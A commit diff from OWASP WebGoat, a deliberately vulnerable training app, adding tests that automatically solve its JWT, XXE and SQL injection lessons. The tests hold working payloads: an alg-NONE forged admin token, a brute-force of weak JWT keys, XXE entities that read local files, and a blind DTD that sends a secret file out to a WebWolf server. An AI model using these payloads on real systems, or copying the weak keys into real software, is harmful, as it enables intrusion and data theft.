Merge conflicts resolved
This commit is contained in:
@ -12,7 +12,8 @@ server.ssl.key-alias=${WEBGOAT_KEY_ALIAS:goat}
|
|||||||
server.ssl.enabled=${WEBGOAT_SSLENABLED:false}
|
server.ssl.enabled=${WEBGOAT_SSLENABLED:false}
|
||||||
security.require-ssl=${WEBGOAT_SSLENABLED:false}
|
security.require-ssl=${WEBGOAT_SSLENABLED:false}
|
||||||
|
|
||||||
spring.datasource.url=jdbc:hsqldb:hsql://${WEBGOAT_HOST:127.0.0.1}:${WEBGOAT_HSQLPORT:9001}/webgoat
|
hsqldb.port=${WEBGOAT_HSQLPORT:9001}
|
||||||
|
spring.datasource.url=jdbc:hsqldb:hsql://${server.address}:${hsqldb.port}/webgoat
|
||||||
spring.jpa.hibernate.ddl-auto=update
|
spring.jpa.hibernate.ddl-auto=update
|
||||||
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
|
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
|
||||||
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver
|
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver
|
||||||
|
@ -3,6 +3,7 @@ package org.owasp.webgoat;
|
|||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.config.RestAssuredConfig;
|
import io.restassured.config.RestAssuredConfig;
|
||||||
import io.restassured.config.SSLConfig;
|
import io.restassured.config.SSLConfig;
|
||||||
|
import io.restassured.http.ContentType;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import org.hamcrest.CoreMatchers;
|
import org.hamcrest.CoreMatchers;
|
||||||
import org.junit.After;
|
import org.junit.After;
|
||||||
@ -26,7 +27,6 @@ public abstract class IntegrationTest {
|
|||||||
private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/";
|
private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/";
|
||||||
private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/";
|
private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/";
|
||||||
|
|
||||||
|
|
||||||
//This also allows to test the application with HTTPS when outside testing option is used
|
//This also allows to test the application with HTTPS when outside testing option is used
|
||||||
protected static RestAssuredConfig restConfig = RestAssuredConfig.newConfig().sslConfig(new SSLConfig().relaxedHTTPSValidation());
|
protected static RestAssuredConfig restConfig = RestAssuredConfig.newConfig().sslConfig(new SSLConfig().relaxedHTTPSValidation());
|
||||||
|
|
||||||
@ -41,16 +41,18 @@ public abstract class IntegrationTest {
|
|||||||
|
|
||||||
@BeforeClass
|
@BeforeClass
|
||||||
public static void beforeAll() {
|
public static void beforeAll() {
|
||||||
if (!started) {
|
|
||||||
|
if (!started) {
|
||||||
started = true;
|
started = true;
|
||||||
if (!isAlreadyRunning(WG_PORT)) {
|
if (!isAlreadyRunning(WG_PORT)) {
|
||||||
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
|
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
|
||||||
.properties(Map.of("spring.config.name", "application-webgoat", "WEBGOAT_PORT", WG_PORT));
|
.properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_PORT", WG_PORT));
|
||||||
wgs.run();
|
wgs.run();
|
||||||
|
|
||||||
}
|
}
|
||||||
if (!isAlreadyRunning(WW_PORT)) {
|
if (!isAlreadyRunning(WW_PORT)) {
|
||||||
SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class)
|
SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class)
|
||||||
.properties(Map.of("spring.config.name", "application-webwolf", "WEBWOLF_PORT", WW_PORT));
|
.properties(Map.of("spring.config.name", "application-webwolf,application-inttest", "WEBWOLF_PORT", WW_PORT));
|
||||||
wws.run();
|
wws.run();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -209,7 +211,7 @@ public abstract class IntegrationTest {
|
|||||||
.config(restConfig)
|
.config(restConfig)
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/lessonoverview.mvc"))
|
.get(url("service/lessonoverview.mvc"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
|
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
|
||||||
|
|
||||||
Assert.assertThat(RestAssured.given()
|
Assert.assertThat(RestAssured.given()
|
||||||
@ -221,4 +223,20 @@ public abstract class IntegrationTest {
|
|||||||
.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
|
.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
|
||||||
|
Assert.assertThat(
|
||||||
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.config(restConfig)
|
||||||
|
.contentType(contentType)
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.body(body)
|
||||||
|
.post(url)
|
||||||
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -0,0 +1,140 @@
|
|||||||
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.security.InvalidKeyException;
|
||||||
|
import java.security.NoSuchAlgorithmException;
|
||||||
|
import java.time.Instant;
|
||||||
|
import java.util.Base64;
|
||||||
|
import java.util.Calendar;
|
||||||
|
import java.util.Date;
|
||||||
|
|
||||||
|
import org.hamcrest.CoreMatchers;
|
||||||
|
import org.junit.Assert;
|
||||||
|
import org.junit.Before;
|
||||||
|
import org.junit.Test;
|
||||||
|
import org.owasp.webgoat.plugin.JWTSecretKeyEndpoint;
|
||||||
|
|
||||||
|
import com.fasterxml.jackson.databind.JsonNode;
|
||||||
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
|
import com.fasterxml.jackson.databind.node.ObjectNode;
|
||||||
|
|
||||||
|
import io.jsonwebtoken.Jwt;
|
||||||
|
import io.jsonwebtoken.JwtException;
|
||||||
|
import io.jsonwebtoken.Jwts;
|
||||||
|
import io.jsonwebtoken.SignatureAlgorithm;
|
||||||
|
import io.jsonwebtoken.impl.TextCodec;
|
||||||
|
import io.restassured.RestAssured;
|
||||||
|
|
||||||
|
public class JWTLessonTest extends IntegrationTest {
|
||||||
|
|
||||||
|
@Before
|
||||||
|
public void initTest() {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
|
||||||
|
|
||||||
|
startLesson("JWT");
|
||||||
|
|
||||||
|
resetVotes();
|
||||||
|
|
||||||
|
findPassword();
|
||||||
|
|
||||||
|
// checkResults("/JWT/");
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private String generateToken(String key) {
|
||||||
|
|
||||||
|
return Jwts.builder()
|
||||||
|
.setIssuer("WebGoat Token Builder")
|
||||||
|
.setAudience("webgoat.org")
|
||||||
|
.setIssuedAt(Calendar.getInstance().getTime())
|
||||||
|
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
||||||
|
.setSubject("tom@webgoat.org")
|
||||||
|
.claim("username", "WebGoat")
|
||||||
|
.claim("Email", "tom@webgoat.org")
|
||||||
|
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||||
|
.signWith(SignatureAlgorithm.HS256, key).compact();
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getSecretToken(String token) {
|
||||||
|
for (String key : JWTSecretKeyEndpoint.SECRETS) {
|
||||||
|
try {
|
||||||
|
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
|
||||||
|
} catch (JwtException e) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
return TextCodec.BASE64.encode(key);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
|
||||||
|
|
||||||
|
String accessToken = RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.config(restConfig)
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.get(url("/WebGoat/JWT/secret/gettoken"))
|
||||||
|
.then()
|
||||||
|
.extract().response().asString();
|
||||||
|
|
||||||
|
String secret = getSecretToken(accessToken);
|
||||||
|
|
||||||
|
Assert.assertThat(
|
||||||
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.config(restConfig)
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.formParam("token", generateToken(secret))
|
||||||
|
.post(url("/WebGoat/JWT/secret"))
|
||||||
|
.then()
|
||||||
|
.log().all()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private void resetVotes() throws IOException {
|
||||||
|
String accessToken = RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.config(restConfig)
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
|
||||||
|
.then()
|
||||||
|
.extract().cookie("access_token");
|
||||||
|
|
||||||
|
String header = accessToken.substring(0, accessToken.indexOf("."));
|
||||||
|
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
|
||||||
|
|
||||||
|
String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
|
||||||
|
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
|
||||||
|
|
||||||
|
ObjectMapper mapper = new ObjectMapper();
|
||||||
|
JsonNode headerNode = mapper.readTree(header);
|
||||||
|
headerNode = ((ObjectNode) headerNode).put("alg","NONE");
|
||||||
|
|
||||||
|
JsonNode bodyObject = mapper.readTree(body);
|
||||||
|
bodyObject = ((ObjectNode) bodyObject).put("admin","true");
|
||||||
|
|
||||||
|
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||||
|
.concat(".")
|
||||||
|
.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
|
||||||
|
.concat(".").replace("=", "");
|
||||||
|
|
||||||
|
Assert.assertThat(
|
||||||
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.config(restConfig)
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.cookie("access_token", replacedToken)
|
||||||
|
.post(url("/WebGoat/JWT/votings"))
|
||||||
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -2,6 +2,9 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
|
|
||||||
|
import io.restassured.RestAssured;
|
||||||
|
import io.restassured.http.ContentType;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
@ -33,7 +36,18 @@ public class SqlInjectionMitigationTest extends IntegrationTest {
|
|||||||
"}");
|
"}");
|
||||||
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
|
||||||
|
|
||||||
//checkResults(webGoatCookie, webgoatURL, "/SqlInjectionMitigations/");
|
RestAssured.given()
|
||||||
|
.when().config(restConfig).cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.contentType(ContentType.JSON)
|
||||||
|
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
|
||||||
|
.then()
|
||||||
|
.statusCode(200);
|
||||||
|
|
||||||
|
params.clear();
|
||||||
|
params.put("ip", "104.130.219.202");
|
||||||
|
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);
|
||||||
|
|
||||||
|
checkResults("/SqlInjectionMitigations/");
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -0,0 +1,81 @@
|
|||||||
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
|
||||||
|
import org.junit.Test;
|
||||||
|
|
||||||
|
import io.restassured.RestAssured;
|
||||||
|
import io.restassured.http.ContentType;
|
||||||
|
|
||||||
|
public class XXETest extends IntegrationTest {
|
||||||
|
|
||||||
|
private static final String xxe3 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
|
||||||
|
private static final String xxe4 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
|
||||||
|
private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
|
||||||
|
private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
|
||||||
|
|
||||||
|
private String webGoatHomeDirectory = System.getProperty("user.dir").concat("/target/.webgoat");
|
||||||
|
private String webwolfFileDir = System.getProperty("user.dir").concat("/target/webwolf-fileserver");
|
||||||
|
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void runTests() throws IOException {
|
||||||
|
startLesson("XXE");
|
||||||
|
|
||||||
|
checkAssignment(url("/WebGoat/xxe/simple"),ContentType.XML,xxe3,true);
|
||||||
|
|
||||||
|
checkAssignment(url("/WebGoat/xxe/content-type"),ContentType.XML,xxe4,true);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
checkAssignment(url("/WebGoat/xxe/blind"),ContentType.XML,"<comment><text>"+getSecret()+"</text></comment>",true );
|
||||||
|
|
||||||
|
checkResults("xxe/");
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This performs the steps of the exercise before the secret can be committed in the final step.
|
||||||
|
* @return
|
||||||
|
* @throws IOException
|
||||||
|
*/
|
||||||
|
private String getSecret() throws IOException {
|
||||||
|
|
||||||
|
//remove any left over DTD
|
||||||
|
Path webWolfFilePath = Paths.get(webwolfFileDir);
|
||||||
|
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd")).toFile().exists()) {
|
||||||
|
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd")));
|
||||||
|
}
|
||||||
|
String secretFile = webGoatHomeDirectory.concat("/XXE/secret.txt");
|
||||||
|
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
|
||||||
|
|
||||||
|
//upload DTD
|
||||||
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.config(restConfig)
|
||||||
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
|
.multiPart("file", "blind.dtd", dtd7String.getBytes())
|
||||||
|
.post(webWolfUrl("/WebWolf/fileupload"))
|
||||||
|
.then()
|
||||||
|
.extract().response().getBody().asString();
|
||||||
|
|
||||||
|
//upload attack
|
||||||
|
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", getWebgoatUser());
|
||||||
|
checkAssignment(url("/WebGoat/xxe/blind?send=test"),ContentType.XML,xxe7String,false );
|
||||||
|
|
||||||
|
//read results from WebWolf
|
||||||
|
String result = RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.config(restConfig)
|
||||||
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
|
.get(webWolfUrl("/WebWolf/requests"))
|
||||||
|
.then()
|
||||||
|
.extract().response().getBody().asString();
|
||||||
|
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("),result.lastIndexOf("WebGoat 8.0 rocks... (")+33);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
#In order to run tests a known temp directory is preferred
|
||||||
|
#that is why these values are used
|
||||||
|
|
||||||
|
webgoat.user.directory=${user.dir}/target/.webgoat
|
||||||
|
webgoat.server.directory=${user.dir}/target/.webgoat
|
||||||
|
webwolf.fileserver.location=${user.dir}/target/webwolf-fileserver
|
||||||
|
|
||||||
|
#database will get deleted for every mvn clean install
|
||||||
|
#as these extra properties are read by WebGoat and WebWolf the drop of the tables
|
||||||
|
#was not helpful.
|
@ -28,16 +28,24 @@ import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
|||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestParam;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
|
||||||
import io.jsonwebtoken.Claims;
|
import io.jsonwebtoken.Claims;
|
||||||
import io.jsonwebtoken.Jwt;
|
import io.jsonwebtoken.Jwt;
|
||||||
import io.jsonwebtoken.Jwts;
|
import io.jsonwebtoken.Jwts;
|
||||||
|
import io.jsonwebtoken.SignatureAlgorithm;
|
||||||
|
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.time.Instant;
|
||||||
|
import java.util.Calendar;
|
||||||
|
import java.util.Date;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author nbaars
|
* @author nbaars
|
||||||
@ -47,10 +55,26 @@ import java.util.List;
|
|||||||
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
||||||
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
||||||
|
|
||||||
public static final String JWT_SECRET = TextCodec.BASE64.encode("victory");
|
public static final String[] SECRETS = {"victory","business","available", "shipping", "washington"};
|
||||||
|
public static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]);
|
||||||
private static final String WEBGOAT_USER = "WebGoat";
|
private static final String WEBGOAT_USER = "WebGoat";
|
||||||
private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
|
private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
|
||||||
|
|
||||||
|
@RequestMapping(path="/gettoken",produces=MediaType.TEXT_HTML_VALUE)
|
||||||
|
@ResponseBody
|
||||||
|
public String getSecretToken() {
|
||||||
|
return Jwts.builder()
|
||||||
|
.setIssuer("WebGoat Token Builder")
|
||||||
|
.setAudience("webgoat.org")
|
||||||
|
.setIssuedAt(Calendar.getInstance().getTime())
|
||||||
|
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
||||||
|
.setSubject("tom@webgoat.org")
|
||||||
|
.claim("username", "Tom")
|
||||||
|
.claim("Email", "tom@webgoat.org")
|
||||||
|
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||||
|
.signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();
|
||||||
|
}
|
||||||
|
|
||||||
@PostMapping("/JWT/secret")
|
@PostMapping("/JWT/secret")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult login(@RequestParam String token) {
|
public AttackResult login(@RequestParam String token) {
|
||||||
@ -69,6 +93,7 @@ public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
return trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build());
|
return trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,7 +1,16 @@
|
|||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
|
|
||||||
<html xmlns:th="http://www.thymeleaf.org">
|
<html xmlns:th="http://www.thymeleaf.org">
|
||||||
|
<header>
|
||||||
|
<script>
|
||||||
|
$(document).ready(
|
||||||
|
function(){
|
||||||
|
$("#secrettoken").load('/WebGoat/JWT/secret/gettoken');
|
||||||
|
}
|
||||||
|
);
|
||||||
|
</script>
|
||||||
|
</header>
|
||||||
|
<body>
|
||||||
<div class="lesson-page-wrapper">
|
<div class="lesson-page-wrapper">
|
||||||
<div class="adoc-content" th:replace="doc:JWT_plan.adoc"></div>
|
<div class="adoc-content" th:replace="doc:JWT_plan.adoc"></div>
|
||||||
</div>
|
</div>
|
||||||
@ -24,7 +33,7 @@
|
|||||||
<form class="attack-form" accept-charset="UNKNOWN"
|
<form class="attack-form" accept-charset="UNKNOWN"
|
||||||
method="POST"
|
method="POST"
|
||||||
successCallback="jwtSigningCallback"
|
successCallback="jwtSigningCallback"
|
||||||
action="/WebGoat/JWT/votings/reset"
|
action="/WebGoat/JWT/votings"
|
||||||
enctype="application/json;charset=UTF-8">
|
enctype="application/json;charset=UTF-8">
|
||||||
<div class="container-fluid">
|
<div class="container-fluid">
|
||||||
|
|
||||||
@ -78,6 +87,7 @@
|
|||||||
|
|
||||||
<div class="lesson-page-wrapper">
|
<div class="lesson-page-wrapper">
|
||||||
<div class="adoc-content" th:replace="doc:JWT_weak_keys"></div>
|
<div class="adoc-content" th:replace="doc:JWT_weak_keys"></div>
|
||||||
|
<div id="secrettoken" ></div>
|
||||||
|
|
||||||
<div class="attack-container">
|
<div class="attack-container">
|
||||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||||
@ -285,5 +295,6 @@
|
|||||||
<div class="attack-output"></div>
|
<div class="attack-output"></div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
</body>
|
||||||
|
|
||||||
</html>
|
</html>
|
@ -76,7 +76,7 @@ function vote(title) {
|
|||||||
} else {
|
} else {
|
||||||
$.ajax({
|
$.ajax({
|
||||||
type: 'POST',
|
type: 'POST',
|
||||||
url: 'JWT/votings/' + title
|
url: 'JWT/votings/vote/' + title
|
||||||
}).then(
|
}).then(
|
||||||
function () {
|
function () {
|
||||||
getVotings();
|
getVotings();
|
||||||
|
@ -6,8 +6,5 @@ dictionary attack is not feasible. Once you have a token you can start an offlin
|
|||||||
|
|
||||||
=== Assignment
|
=== Assignment
|
||||||
|
|
||||||
Given we have the following token try to find out secret key and submit a new key with the userId changed to WebGoat.
|
Given we have the following token try to find out secret key and submit a new key with the username changed to WebGoat.
|
||||||
|
|
||||||
```
|
|
||||||
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM
|
|
||||||
```
|
|
@ -73,7 +73,7 @@ public class JWTVotesEndpointTest extends LessonTest {
|
|||||||
String token = Jwts.builder().setClaims(claims).setHeaderParam("alg", "none").compact();
|
String token = Jwts.builder().setClaims(claims).setHeaderParam("alg", "none").compact();
|
||||||
|
|
||||||
//Call the reset endpoint
|
//Call the reset endpoint
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/reset")
|
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings")
|
||||||
.contentType(MediaType.APPLICATION_JSON)
|
.contentType(MediaType.APPLICATION_JSON)
|
||||||
.cookie(new Cookie("access_token", token)))
|
.cookie(new Cookie("access_token", token)))
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
@ -82,7 +82,7 @@ public class JWTVotesEndpointTest extends LessonTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void resetWithoutTokenShouldNotWork() throws Exception {
|
public void resetWithoutTokenShouldNotWork() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/reset")
|
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings")
|
||||||
.contentType(MediaType.APPLICATION_JSON))
|
.contentType(MediaType.APPLICATION_JSON))
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token"))));
|
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token"))));
|
||||||
@ -153,7 +153,7 @@ public class JWTVotesEndpointTest extends LessonTest {
|
|||||||
Object[] nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class);
|
Object[] nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class);
|
||||||
int currentNumberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes");
|
int currentNumberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes");
|
||||||
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password")
|
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/vote/Admin lost password")
|
||||||
.cookie(cookie))
|
.cookie(cookie))
|
||||||
.andExpect(status().isAccepted());
|
.andExpect(status().isAccepted());
|
||||||
result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings")
|
result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings")
|
||||||
@ -176,7 +176,7 @@ public class JWTVotesEndpointTest extends LessonTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void guestShouldNotBeAbleToVote() throws Exception {
|
public void guestShouldNotBeAbleToVote() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password")
|
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/vote/Admin lost password")
|
||||||
.cookie(new Cookie("access_token", "")))
|
.cookie(new Cookie("access_token", "")))
|
||||||
.andExpect(status().isUnauthorized());
|
.andExpect(status().isUnauthorized());
|
||||||
}
|
}
|
||||||
@ -188,7 +188,7 @@ public class JWTVotesEndpointTest extends LessonTest {
|
|||||||
claims.put("user", "Intruder");
|
claims.put("user", "Intruder");
|
||||||
String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact();
|
String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact();
|
||||||
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password")
|
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/vote/Admin lost password")
|
||||||
.cookie(new Cookie("access_token", token)))
|
.cookie(new Cookie("access_token", token)))
|
||||||
.andExpect(status().isUnauthorized());
|
.andExpect(status().isUnauthorized());
|
||||||
}
|
}
|
||||||
|
@ -128,7 +128,7 @@
|
|||||||
<br/>
|
<br/>
|
||||||
</div>
|
</div>
|
||||||
</form>
|
</form>
|
||||||
<form class="attack-form" method="POST" name="form" action="SqlInjection/attack12a">
|
<form class="attack-form" method="POST" name="form" action="/WebGoat/SqlInjectionMitigations/attack12a">
|
||||||
<div class="form-group">
|
<div class="form-group">
|
||||||
<div class="input-group">
|
<div class="input-group">
|
||||||
<div class="input-group-addon">IP address webgoat-prd server:</div>
|
<div class="input-group-addon">IP address webgoat-prd server:</div>
|
||||||
|
